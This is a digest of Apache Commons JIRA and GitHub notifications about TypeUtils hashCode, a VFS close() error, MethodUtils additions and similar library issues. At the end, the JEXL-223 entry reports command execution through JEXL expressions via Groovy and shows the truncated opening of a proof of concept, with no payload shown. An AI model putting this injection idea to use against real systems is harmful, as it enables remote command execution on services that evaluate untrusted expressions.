commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/nntp/ArticleReader.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/nntp/ExtendedNNTPOps.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/nntp/ListNewsgroups.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/nntp/MessageThreading.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/nntp/NNTPUtils.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/nntp/PostMessage.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/ntp/NTPClient.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/ntp/SimpleNTPServer.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/ntp/TimeClient.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/telnet/TelnetClientExample.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/telnet/WeatherTelnet.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/unix/chargen.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/unix/daytime.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/unix/echo.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/unix/finger.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/unix/fwhois.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/unix/rdate.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/unix/rexec.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/unix/rlogin.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/unix/rshell.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/util/IOUtil.java commons/proper/net/trunk/src/main/resources/org/apache/commons/net/examples/examples.properties commons/proper/net/trunk/src/test/java/org/apache/commons/net/examples/MainTest.java
[jira] [Commented] (LANG-1323) Type implementations in TypeUtils compute hash code that breaks Object.equals() with Sun's OpenJDK
[
https://issues.apache.org/jira/browse/LANG-1323?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15978971#comment-15978971
]
Scott Kilpatrick commented on LANG-1323:
Hash code implementation comparisons:
* {{GenericArrayTypeImpl}}:
[TypeUtils|https://git-wip-us.apache.org/repos/asf?p=commons-lang.git;a=blob;f=src/main/java/org/apache/commons/lang3/reflect/TypeUtils.java;h=8db6ca47813389708781c5117f3109865c815d2c;hb=HEAD#l134]
vs.
[OpenJDK|http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/generics/reflectiveObjects/GenericArrayTypeImpl.java#l89]
* {{ParameterizedTypeImpl}}:
[TypeUtils|https://git-wip-us.apache.org/repos/asf?p=commons-lang.git;a=blob;f=src/main/java/org/apache/commons/lang3/reflect/TypeUtils.java;h=8db6ca47813389708781c5117f3109865c815d2c;hb=HEAD#l203]
vs.
[OpenJDK|http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/generics/reflectiveObjects/ParameterizedTypeImpl.java#l198]
* {{WildcardTypeImpl}}:
[TypeUtils|https://git-wip-us.apache.org/repos/asf?p=commons-lang.git;a=blob;f=src/main/java/org/apache/commons/lang3/reflect/TypeUtils.java;h=8db6ca47813389708781c5117f3109865c815d2c;hb=HEAD#l270]
vs.
[OpenJDK|http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/generics/reflectiveObjects/WildcardTypeImpl.java#l224]
> Type implementations in TypeUtils compute hash code that breaks
> Object.equals() with Sun's OpenJDK
> --
>
> Key: LANG-1323
> URL: https://issues.apache.org/jira/browse/LANG-1323
> Project: Commons Lang
> Issue Type: Bug
> Components: lang.reflect.*
>Affects Versions: 3.2, 3.5
> Environment: Sun OpenJDK
>Reporter: Scott Kilpatrick
>Priority: Minor
>
> {{TypeUtils}} in {{lang.reflect}} provides convenient methods for creating
> objects of the interface {{Type}}. Those objects are defined by the following
> classes:
> * ParameterizedTypeImpl (implements {{ParameterizedType}})
> * WildcardTypeImpl (implements {{WildcardType}})
> * GenericArrayTypeImpl (implements {{GenericArrayType}})
> Similarly, there are corresponding classes, which implement the same
> interfaces, defined in one's particular JDK. And it's these latter classes
> that are instantiated when you get objects of type {{Type}} via reflection.
> Let's call these the "internal {{Type}} implementations." In the case of
> Sun's OpenJDK, [they are
> defined|http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/generics/reflectiveObjects]
> in package {{sun.reflect.generics.reflectiveObjects}}.
> Each of the {{TypeUtils}} classes implements {{Object.equals(Object)}} in a
> general way that's compatible with the internal {{Type}} implementations. For
> example, if I access a field declared with type {{Map}} and
> get its generic type, via {{Field.getGenericType()}}, then that will be equal
> to the {{TypeUtils}} object returned by:
> {code:java}
> TypeUtils.parameterize(Map.class, String.class, Integer.class)
> {code}
> That's what I'd expect, so that's great.
> However, the {{TypeUtils}} classes implement their {{Object.hashCode()}}
> method in a _different_ way from the corresponding implementations in Sun
> OpenJDK implementations. That's not so surprising, _but it breaks the
> contract of {{Object.hashCode()}}_:
> bq. If two objects are equal according to the {{equals(Object)}} method, then
> calling the {{hashCode}} method on each of the two objects must produce the
> same integer result.
> In other words, the two {{Type}} objects above will both consider themselves
> {{equals}} to each other, but they have different hash codes.
> One example of a negative consequence of this problem is a collection class
> that implements its equality (to other collections) by checking hash codes of
> its elements, e.g., Guava's immutable collections. If you have {{Type}}
> objects in those collections, with {{TypeUtils}} {{Type}} objects in {{c1}}
> and Sun OpenJDK {{Type}} objects in {{c2}}, you will see that
> {{c1.equals(c2)}} returns {{false}} -- because their elements don't all have
> the same hash codes -- even though those elements are all considered equal.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Created] (LANG-1323) Type implementations in TypeUtils compute hash code that breaks Object.equals() with Sun's OpenJDK
Scott Kilpatrick created LANG-1323:
--
Summary: Type implementations in TypeUtils compute hash code that
breaks Object.equals() with Sun's OpenJDK
Key: LANG-1323
URL: https://issues.apache.org/jira/browse/LANG-1323
Project: Commons Lang
Issue Type: Bug
Components: lang.reflect.*
Affects Versions: 3.5, 3.2
Environment: Sun OpenJDK
Reporter: Scott Kilpatrick
Priority: Minor
{{TypeUtils}} in {{lang.reflect}} provides convenient methods for creating
objects of the interface {{Type}}. Those objects are defined by the following
classes:
* ParameterizedTypeImpl (implements {{ParameterizedType}})
* WildcardTypeImpl (implements {{WildcardType}})
* GenericArrayTypeImpl (implements {{GenericArrayType}})
Similarly, there are corresponding classes, which implement the same
interfaces, defined in one's particular JDK. And it's these latter classes that
are instantiated when you get objects of type {{Type}} via reflection. Let's
call these the "internal {{Type}} implementations." In the case of Sun's
OpenJDK, [they are
defined|http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/generics/reflectiveObjects]
in package {{sun.reflect.generics.reflectiveObjects}}.
Each of the {{TypeUtils}} classes implements {{Object.equals(Object)}} in a
general way that's compatible with the internal {{Type}} implementations. For
example, if I access a field declared with type {{Map}} and
get its generic type, via {{Field.getGenericType()}}, then that will be equal
to the {{TypeUtils}} object returned by:
{code:java}
TypeUtils.parameterize(Map.class, String.class, Integer.class)
{code}
That's what I'd expect, so that's great.
However, the {{TypeUtils}} classes implement their {{Object.hashCode()}} method
in a _different_ way from the corresponding implementations in Sun OpenJDK
implementations. That's not so surprising, _but it breaks the contract of
{{Object.hashCode()}}_:
bq. If two objects are equal according to the {{equals(Object)}} method, then
calling the {{hashCode}} method on each of the two objects must produce the
same integer result.
In other words, the two {{Type}} objects above will both consider themselves
{{equals}} to each other, but they have different hash codes.
One example of a negative consequence of this problem is a collection class
that implements its equality (to other collections) by checking hash codes of
its elements, e.g., Guava's immutable collections. If you have {{Type}} objects
in those collections, with {{TypeUtils}} {{Type}} objects in {{c1}} and Sun
OpenJDK {{Type}} objects in {{c2}}, you will see that {{c1.equals(c2)}} returns
{{false}} -- because their elements don't all have the same hash codes -- even
though those elements are all considered equal.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Updated] (VFS-634) DefaultFileSystemManager.close() throw FileSystemException
[
https://issues.apache.org/jira/browse/VFS-634?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Gilian HALOUIN updated VFS-634:
---
Description:
Hi,
We face an issue when we use a DefaultFileSystemManager.
With this example :
{code:java}
import org.apache.commons.vfs2.FileObject;
import org.apache.commons.vfs2.FileSystemException;
import org.apache.commons.vfs2.Selectors;
import org.apache.commons.vfs2.VFS;
import org.apache.commons.vfs2.impl.DefaultFileSystemManager;
/**
* @author GHALOUIN
*
*/
public class TestVFS {
/**
* @param args
* @throws FileSystemException
*/
public static void main(final String[] args) throws FileSystemException {
final DefaultFileSystemManager vfsManager = (DefaultFileSystemManager)
VFS.getManager();
final FileObject tempDir = vfsManager.resolveFile("tmp://simulation");
final FileObject fileSrc = vfsManager.resolveFile("C:/toto.txt");
tempDir.resolveFile("toto").copyFrom(fileSrc, Selectors.SELECT_SELF);
vfsManager.close();
}
}
{code}
At the close call we have the following error :
INFOS: Using "C:\Users\ghalouin\AppData\Local\Temp\vfs_cache" as temporary
files store.
avr. 21, 2017 4:21:27 PM org.apache.commons.vfs2.impl.StandardFileSystemManager
warn
AVERTISSEMENT: Could not clean up temporary file "tmp_382_tempfs".
org.apache.commons.vfs2.FileSystemException: Incorrect file system URI
"file:///C:/" in name
"file:///C:/Users/ghalouin/AppData/Local/Temp/vfs_cache/tmp_382_tempfs", was
expecting "file:///C:".
at
org.apache.commons.vfs2.provider.AbstractFileSystem.resolveFile(AbstractFileSystem.java:324)
at
org.apache.commons.vfs2.provider.AbstractFileSystem.resolveFile(AbstractFileSystem.java:317)
at
org.apache.commons.vfs2.provider.AbstractOriginatingFileProvider.findFile(AbstractOriginatingFileProvider.java:84)
at
org.apache.commons.vfs2.provider.local.DefaultLocalFileProvider.findLocalFile(DefaultLocalFileProvider.java:106)
at
org.apache.commons.vfs2.provider.local.DefaultLocalFileProvider.findLocalFile(DefaultLocalFileProvider.java:119)
at
org.apache.commons.vfs2.impl.DefaultFileSystemManager.toFileObject(DefaultFileSystemManager.java:1003)
at
org.apache.commons.vfs2.impl.DefaultVfsComponentContext.toFileObject(DefaultVfsComponentContext.java:78)
at
org.apache.commons.vfs2.impl.DefaultFileReplicator.deleteFile(DefaultFileReplicator.java:172)
at
org.apache.commons.vfs2.impl.DefaultFileReplicator.close(DefaultFileReplicator.java:111)
at
org.apache.commons.vfs2.impl.PrivilegedFileReplicator$CloseAction.run(PrivilegedFileReplicator.java:195)
at java.security.AccessController.doPrivileged(Native Method)
at
org.apache.commons.vfs2.impl.PrivilegedFileReplicator.close(PrivilegedFileReplicator.java:113)
at
org.apache.commons.vfs2.impl.DefaultFileSystemManager.closeComponent(DefaultFileSystemManager.java:500)
at
org.apache.commons.vfs2.impl.DefaultFileSystemManager.close(DefaultFileSystemManager.java:604)
at testVFS.TestVFS.main(TestVFS.java:29)
was:
Hi,
We face an issue when we use a DefaultFileSystemManager.
With this example
{code:java}
import org.apache.commons.vfs2.FileObject;
import org.apache.commons.vfs2.FileSystemException;
import org.apache.commons.vfs2.Selectors;
import org.apache.commons.vfs2.VFS;
import org.apache.commons.vfs2.impl.DefaultFileSystemManager;
/**
* @author GHALOUIN
*
*/
public class TestVFS {
/**
* @param args
* @throws FileSystemException
*/
public static void main(final String[] args) throws FileSystemException {
final DefaultFileSystemManager vfsManager = (DefaultFileSystemManager)
VFS.getManager();
final FileObject tempDir = vfsManager.resolveFile("tmp://simulation");
final FileObject fileSrc = vfsManager.resolveFile("C:/toto.txt");
tempDir.resolveFile("toto").copyFrom(fileSrc, Selectors.SELECT_SELF);
vfsManager.close();
}
}
{code}
> DefaultFileSystemManager.close() throw FileSystemException
> --
>
> Key: VFS-634
> URL: https://issues.apache.org/jira/browse/VFS-634
> Project: Commons VFS
> Issue Type: Bug
>Affects Versions: 2.1
> Environment: windows
>Reporter: Gilian HALOUIN
>
> Hi,
> We face an issue when we use a DefaultFileSystemManager.
> With this example :
> {code:java}
> import org.apache.commons.vfs2.FileObject;
> import org.apache.commons.vfs2.FileSystemException;
> import org.apache.commons.vfs2.Selectors;
> import org.apache.commons.vfs2.VFS;
> import org.apache.commons.vfs2.impl.DefaultFileSystemManager;
> /**
> * @author GHALOUIN
> *
> */
> public class TestVFS {
> /**
> * @param args
> * @throws FileSystemException
> */
> public
[jira] [Updated] (VFS-634) DefaultFileSystemManager.close() throw FileSystemException
[
https://issues.apache.org/jira/browse/VFS-634?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Gilian HALOUIN updated VFS-634:
---
Description:
Hi,
We face an issue when we use the DefaultFileSystemManager.
With this example :
{code:java}
import org.apache.commons.vfs2.FileObject;
import org.apache.commons.vfs2.FileSystemException;
import org.apache.commons.vfs2.Selectors;
import org.apache.commons.vfs2.VFS;
import org.apache.commons.vfs2.impl.DefaultFileSystemManager;
/**
* @author GHALOUIN
*
*/
public class TestVFS {
/**
* @param args
* @throws FileSystemException
*/
public static void main(final String[] args) throws FileSystemException {
final DefaultFileSystemManager vfsManager = (DefaultFileSystemManager)
VFS.getManager();
final FileObject tempDir = vfsManager.resolveFile("tmp://simulation");
final FileObject fileSrc = vfsManager.resolveFile("C:/toto.txt");
tempDir.resolveFile("toto").copyFrom(fileSrc, Selectors.SELECT_SELF);
vfsManager.close();
}
}
{code}
At the close call we have the following error :
INFOS: Using "C:\Users\ghalouin\AppData\Local\Temp\vfs_cache" as temporary
files store.
avr. 21, 2017 4:21:27 PM org.apache.commons.vfs2.impl.StandardFileSystemManager
warn
AVERTISSEMENT: Could not clean up temporary file "tmp_382_tempfs".
org.apache.commons.vfs2.FileSystemException: Incorrect file system URI
"file:///C:/" in name
"file:///C:/Users/ghalouin/AppData/Local/Temp/vfs_cache/tmp_382_tempfs", was
expecting "file:///C:".
at
org.apache.commons.vfs2.provider.AbstractFileSystem.resolveFile(AbstractFileSystem.java:324)
at
org.apache.commons.vfs2.provider.AbstractFileSystem.resolveFile(AbstractFileSystem.java:317)
at
org.apache.commons.vfs2.provider.AbstractOriginatingFileProvider.findFile(AbstractOriginatingFileProvider.java:84)
at
org.apache.commons.vfs2.provider.local.DefaultLocalFileProvider.findLocalFile(DefaultLocalFileProvider.java:106)
at
org.apache.commons.vfs2.provider.local.DefaultLocalFileProvider.findLocalFile(DefaultLocalFileProvider.java:119)
at
org.apache.commons.vfs2.impl.DefaultFileSystemManager.toFileObject(DefaultFileSystemManager.java:1003)
at
org.apache.commons.vfs2.impl.DefaultVfsComponentContext.toFileObject(DefaultVfsComponentContext.java:78)
at
org.apache.commons.vfs2.impl.DefaultFileReplicator.deleteFile(DefaultFileReplicator.java:172)
at
org.apache.commons.vfs2.impl.DefaultFileReplicator.close(DefaultFileReplicator.java:111)
at
org.apache.commons.vfs2.impl.PrivilegedFileReplicator$CloseAction.run(PrivilegedFileReplicator.java:195)
at java.security.AccessController.doPrivileged(Native Method)
at
org.apache.commons.vfs2.impl.PrivilegedFileReplicator.close(PrivilegedFileReplicator.java:113)
at
org.apache.commons.vfs2.impl.DefaultFileSystemManager.closeComponent(DefaultFileSystemManager.java:500)
at
org.apache.commons.vfs2.impl.DefaultFileSystemManager.close(DefaultFileSystemManager.java:604)
at testVFS.TestVFS.main(TestVFS.java:29)
was:
Hi,
We face an issue when we use a DefaultFileSystemManager.
With this example :
{code:java}
import org.apache.commons.vfs2.FileObject;
import org.apache.commons.vfs2.FileSystemException;
import org.apache.commons.vfs2.Selectors;
import org.apache.commons.vfs2.VFS;
import org.apache.commons.vfs2.impl.DefaultFileSystemManager;
/**
* @author GHALOUIN
*
*/
public class TestVFS {
/**
* @param args
* @throws FileSystemException
*/
public static void main(final String[] args) throws FileSystemException {
final DefaultFileSystemManager vfsManager = (DefaultFileSystemManager)
VFS.getManager();
final FileObject tempDir = vfsManager.resolveFile("tmp://simulation");
final FileObject fileSrc = vfsManager.resolveFile("C:/toto.txt");
tempDir.resolveFile("toto").copyFrom(fileSrc, Selectors.SELECT_SELF);
vfsManager.close();
}
}
{code}
At the close call we have the following error :
INFOS: Using "C:\Users\ghalouin\AppData\Local\Temp\vfs_cache" as temporary
files store.
avr. 21, 2017 4:21:27 PM org.apache.commons.vfs2.impl.StandardFileSystemManager
warn
AVERTISSEMENT: Could not clean up temporary file "tmp_382_tempfs".
org.apache.commons.vfs2.FileSystemException: Incorrect file system URI
"file:///C:/" in name
"file:///C:/Users/ghalouin/AppData/Local/Temp/vfs_cache/tmp_382_tempfs", was
expecting "file:///C:".
at
org.apache.commons.vfs2.provider.AbstractFileSystem.resolveFile(AbstractFileSystem.java:324)
at
org.apache.commons.vfs2.provider.AbstractFileSystem.resolveFile(AbstractFileSystem.java:317)
at
org.apache.commons.vfs2.provider.AbstractOriginatingFileProvider.findFile(AbstractOriginatingFileProvider.java:84)
at
[jira] [Updated] (VFS-634) DefaultFileSystemManager.close() throw FileSystemException
[
https://issues.apache.org/jira/browse/VFS-634?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Gilian HALOUIN updated VFS-634:
---
Description:
Hi,
We face an issue when we use a DefaultFileSystemManager.
With this example
{code:java}
import org.apache.commons.vfs2.FileObject;
import org.apache.commons.vfs2.FileSystemException;
import org.apache.commons.vfs2.Selectors;
import org.apache.commons.vfs2.VFS;
import org.apache.commons.vfs2.impl.DefaultFileSystemManager;
/**
* @author GHALOUIN
*
*/
public class TestVFS {
/**
* @param args
* @throws FileSystemException
*/
public static void main(final String[] args) throws FileSystemException {
final DefaultFileSystemManager vfsManager = (DefaultFileSystemManager)
VFS.getManager();
final FileObject tempDir = vfsManager.resolveFile("tmp://simulation");
final FileObject fileSrc = vfsManager.resolveFile("C:/toto.txt");
tempDir.resolveFile("toto").copyFrom(fileSrc, Selectors.SELECT_SELF);
vfsManager.close();
}
}
{code}
was:
Hi,
We face an issue when we use a DefaultFileSystemManager.
With this example
> DefaultFileSystemManager.close() throw FileSystemException
> --
>
> Key: VFS-634
> URL: https://issues.apache.org/jira/browse/VFS-634
> Project: Commons VFS
> Issue Type: Bug
>Affects Versions: 2.1
> Environment: windows
>Reporter: Gilian HALOUIN
>
> Hi,
> We face an issue when we use a DefaultFileSystemManager.
> With this example
> {code:java}
> import org.apache.commons.vfs2.FileObject;
> import org.apache.commons.vfs2.FileSystemException;
> import org.apache.commons.vfs2.Selectors;
> import org.apache.commons.vfs2.VFS;
> import org.apache.commons.vfs2.impl.DefaultFileSystemManager;
> /**
> * @author GHALOUIN
> *
> */
> public class TestVFS {
> /**
> * @param args
> * @throws FileSystemException
> */
> public static void main(final String[] args) throws FileSystemException {
> final DefaultFileSystemManager vfsManager =
> (DefaultFileSystemManager) VFS.getManager();
> final FileObject tempDir = vfsManager.resolveFile("tmp://simulation");
> final FileObject fileSrc = vfsManager.resolveFile("C:/toto.txt");
> tempDir.resolveFile("toto").copyFrom(fileSrc, Selectors.SELECT_SELF);
> vfsManager.close();
> }
> }
> {code}
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Created] (VFS-634) DefaultFileSystemManager.close() throw FileSystemException
Gilian HALOUIN created VFS-634: -- Summary: DefaultFileSystemManager.close() throw FileSystemException Key: VFS-634 URL: https://issues.apache.org/jira/browse/VFS-634 Project: Commons VFS Issue Type: Bug Affects Versions: 2.1 Environment: windows Reporter: Gilian HALOUIN Hi, We face an issue when we use a DefaultFileSystemManager. With this example -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Created] (NET-636) examples should be in org.apache.commons.net subpackage
Sebb created NET-636: Summary: examples should be in org.apache.commons.net subpackage Key: NET-636 URL: https://issues.apache.org/jira/browse/NET-636 Project: Commons Net Issue Type: Bug Reporter: Sebb The examples are currently under the top-level 'examples' package. This was fine when they were only documentation samples, but they are now working examples which are published (in a separate jar). The package needs to ge changed to be under org.apache.commons.net. Given that they are clearly marked as examples, they are not part of the public API (and are not in the standard binary jar). Thus the change will not impact compatibility of the component proper. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Created] (LANG-1322) ToStringStyle should not use WeakHashMap as registry
Michael Illgner created LANG-1322: - Summary: ToStringStyle should not use WeakHashMap as registry Key: LANG-1322 URL: https://issues.apache.org/jira/browse/LANG-1322 Project: Commons Lang Issue Type: Bug Components: lang.builder.* Affects Versions: 3.5 Reporter: Michael Illgner org.apache.commons.lang3.builderToStringStyle uses a WeakHashMap as REGISTRY to detect that an object was already added to the StringBuilder to avoid recursion for cyclic object graphs. This is used by RecursiveToStringStyle. In a low memory situation when the garbage collector starts, the WeakHashMap is cleared and some parts of the potentially cyclic object graph will be logged again. We run in this problem, when we accidentally logged an HttpServletRequest and a HttpSession using a ReflectiontoStringBuilder -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Resolved] (LANG-1317) Add MethodUtils#findAnnotation and extend MethodUtils#getMethodsWithAnnotation for non-public, super-class and interface methods
[ https://issues.apache.org/jira/browse/LANG-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Pascal Schumacher resolved LANG-1317. - Resolution: Fixed Assignee: Pascal Schumacher Fix Version/s: 3.6 > Add MethodUtils#findAnnotation and extend > MethodUtils#getMethodsWithAnnotation for non-public, super-class and > interface methods > > > Key: LANG-1317 > URL: https://issues.apache.org/jira/browse/LANG-1317 > Project: Commons Lang > Issue Type: Improvement > Components: lang.reflect.* >Reporter: Yasser Zamani >Assignee: Pascal Schumacher > Labels: patch > Fix For: 3.6 > > > In order to fix WW-4744 , mainly, I am going to add two functionalities to > MethodUtils: findAnnotation and findMethodsWithAnnotation. > findAnnotation will be an extension for Method.getAnnotation that also > searches interfaces and super classes while caching results with no memory > leak. > findMethodsWithAnnotation will be an extension for getMethodsWithAnnotation > that also supports non public methods, super class and interface methods, > again, while caching results as above. > Generally, do you agree with these in a pull request? If so, I will be > working on it :) -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Commented] (LANG-1317) Add MethodUtils#findAnnotation and extend MethodUtils#getMethodsWithAnnotation for non-public, super-class and interface methods
[ https://issues.apache.org/jira/browse/LANG-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15978330#comment-15978330 ] ASF GitHub Bot commented on LANG-1317: -- Github user PascalSchumacher commented on the issue: https://github.com/apache/commons-lang/pull/261 Merged. Thank you very much. > Add MethodUtils#findAnnotation and extend > MethodUtils#getMethodsWithAnnotation for non-public, super-class and > interface methods > > > Key: LANG-1317 > URL: https://issues.apache.org/jira/browse/LANG-1317 > Project: Commons Lang > Issue Type: Improvement > Components: lang.reflect.* >Reporter: Yasser Zamani > Labels: patch > > In order to fix WW-4744 , mainly, I am going to add two functionalities to > MethodUtils: findAnnotation and findMethodsWithAnnotation. > findAnnotation will be an extension for Method.getAnnotation that also > searches interfaces and super classes while caching results with no memory > leak. > findMethodsWithAnnotation will be an extension for getMethodsWithAnnotation > that also supports non public methods, super class and interface methods, > again, while caching results as above. > Generally, do you agree with these in a pull request? If so, I will be > working on it :) -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[GitHub] commons-lang issue #261: LANG-1317 Adds MethodUtils#findAnnotation and exten...
Github user PascalSchumacher commented on the issue: https://github.com/apache/commons-lang/pull/261 Merged. Thank you very much. --- If your project is set up for it, you can reply to this email and have your reply appear on GitHub as well. If your project does not have this feature enabled and wishes so, or if the feature is enabled but not working, please contact infrastructure at infrastruct...@apache.org or file a JIRA ticket with INFRA. ---
[jira] [Commented] (LANG-1317) Add MethodUtils#findAnnotation and extend MethodUtils#getMethodsWithAnnotation for non-public, super-class and interface methods
[ https://issues.apache.org/jira/browse/LANG-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15978329#comment-15978329 ] ASF GitHub Bot commented on LANG-1317: -- Github user asfgit closed the pull request at: https://github.com/apache/commons-lang/pull/261 > Add MethodUtils#findAnnotation and extend > MethodUtils#getMethodsWithAnnotation for non-public, super-class and > interface methods > > > Key: LANG-1317 > URL: https://issues.apache.org/jira/browse/LANG-1317 > Project: Commons Lang > Issue Type: Improvement > Components: lang.reflect.* >Reporter: Yasser Zamani > Labels: patch > > In order to fix WW-4744 , mainly, I am going to add two functionalities to > MethodUtils: findAnnotation and findMethodsWithAnnotation. > findAnnotation will be an extension for Method.getAnnotation that also > searches interfaces and super classes while caching results with no memory > leak. > findMethodsWithAnnotation will be an extension for getMethodsWithAnnotation > that also supports non public methods, super class and interface methods, > again, while caching results as above. > Generally, do you agree with these in a pull request? If so, I will be > working on it :) -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[GitHub] commons-lang pull request #261: LANG-1317 Adds MethodUtils#findAnnotation an...
Github user asfgit closed the pull request at: https://github.com/apache/commons-lang/pull/261 --- If your project is set up for it, you can reply to this email and have your reply appear on GitHub as well. If your project does not have this feature enabled and wishes so, or if the feature is enabled but not working, please contact infrastructure at infrastruct...@apache.org or file a JIRA ticket with INFRA. ---
[jira] [Commented] (LANG-1317) Add MethodUtils#findAnnotation and extend MethodUtils#getMethodsWithAnnotation for non-public, super-class and interface methods
[ https://issues.apache.org/jira/browse/LANG-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15978286#comment-15978286 ] ASF GitHub Bot commented on LANG-1317: -- Github user PascalSchumacher commented on the issue: https://github.com/apache/commons-lang/pull/261 @yasserzamani Thanks! No need to apologize. It is just that we try to be conservative with new additions (If we add a public method we have to support it for a long time and can not do any incompatible changes.). If the method is deemed generally useful it can always be moved and made public later on. > Add MethodUtils#findAnnotation and extend > MethodUtils#getMethodsWithAnnotation for non-public, super-class and > interface methods > > > Key: LANG-1317 > URL: https://issues.apache.org/jira/browse/LANG-1317 > Project: Commons Lang > Issue Type: Improvement > Components: lang.reflect.* >Reporter: Yasser Zamani > Labels: patch > > In order to fix WW-4744 , mainly, I am going to add two functionalities to > MethodUtils: findAnnotation and findMethodsWithAnnotation. > findAnnotation will be an extension for Method.getAnnotation that also > searches interfaces and super classes while caching results with no memory > leak. > findMethodsWithAnnotation will be an extension for getMethodsWithAnnotation > that also supports non public methods, super class and interface methods, > again, while caching results as above. > Generally, do you agree with these in a pull request? If so, I will be > working on it :) -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[GitHub] commons-lang issue #261: LANG-1317 Adds MethodUtils#findAnnotation and exten...
Github user PascalSchumacher commented on the issue: https://github.com/apache/commons-lang/pull/261 @yasserzamani Thanks! No need to apologize. It is just that we try to be conservative with new additions (If we add a public method we have to support it for a long time and can not do any incompatible changes.). If the method is deemed generally useful it can always be moved and made public later on. --- If your project is set up for it, you can reply to this email and have your reply appear on GitHub as well. If your project does not have this feature enabled and wishes so, or if the feature is enabled but not working, please contact infrastructure at infrastruct...@apache.org or file a JIRA ticket with INFRA. ---
[jira] [Commented] (JEXL-223) Apache Commons JEXL Expression Execute Command Vulnerabilitity
[ https://issues.apache.org/jira/browse/JEXL-223?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15978258#comment-15978258 ] Emmanuel Bourg commented on JEXL-223: - I'm not sure to understand, executing untrusted code in a scripting language is dangerous, that's not really new. The same happens with any implementation of the javax.script API. > Apache Commons JEXL Expression Execute Command Vulnerabilitity > -- > > Key: JEXL-223 > URL: https://issues.apache.org/jira/browse/JEXL-223 > Project: Commons JEXL > Issue Type: Bug >Reporter: cnbird >Priority: Critical > > 0x01 Summary > Apache Commons JEXL Expression Execute Command Vulnerabilitity throught > groovy. > 0x02 POC > POC Report to Apache Security Email Address secur...@apache.org. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Updated] (JEXL-223) Apache Commons JEXL Expression Execute Command Vulnerabilitity
[ https://issues.apache.org/jira/browse/JEXL-223?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] cnbird updated JEXL-223: Description: 0x01 Summary Apache Commons JEXL Expression Execute Command Vulnerabilitity throught groovy. 0x02 POC POC Report to Apache Security Email Address secur...@apache.org. was: 0x01 Summary Apache Commons JEXL Expression Execute Command Vulnerabilitity throught groovy. 0x02 POC POC Report to Apache Security Email Address. > Apache Commons JEXL Expression Execute Command Vulnerabilitity > -- > > Key: JEXL-223 > URL: https://issues.apache.org/jira/browse/JEXL-223 > Project: Commons JEXL > Issue Type: Bug >Reporter: cnbird >Priority: Critical > > 0x01 Summary > Apache Commons JEXL Expression Execute Command Vulnerabilitity throught > groovy. > 0x02 POC > POC Report to Apache Security Email Address secur...@apache.org. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Updated] (JEXL-223) Apache Commons JEXL Expression Execute Command Vulnerabilitity
[
https://issues.apache.org/jira/browse/JEXL-223?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
cnbird updated JEXL-223:
Description:
0x01 Summary
Apache Commons JEXL Expression Execute Command Vulnerabilitity throught groovy.
0x02 POC
POC Report to Apache Security Email Address.
was:
0x01 Summary
Apache Commons JEXL Expression Execute Command Vulnerabilitity throught groovy.
0x02 POC
{code}
import java.io.IOException;
import java.util.List;
import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlContext;
import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression;
import org.apache.commons.jexl3.MapContext;
import org.codehaus.groovy.runtime.ProcessGroovyMethods;
public class elExp {
public static void main(String args[]) throws IOException {
// Create or retrieve an engine
JexlEngine jexl = new JexlBuilder().create();
// Create an expression
//String jexlExp = "new(\"java.lang.String\", \"hello wolrd\")";
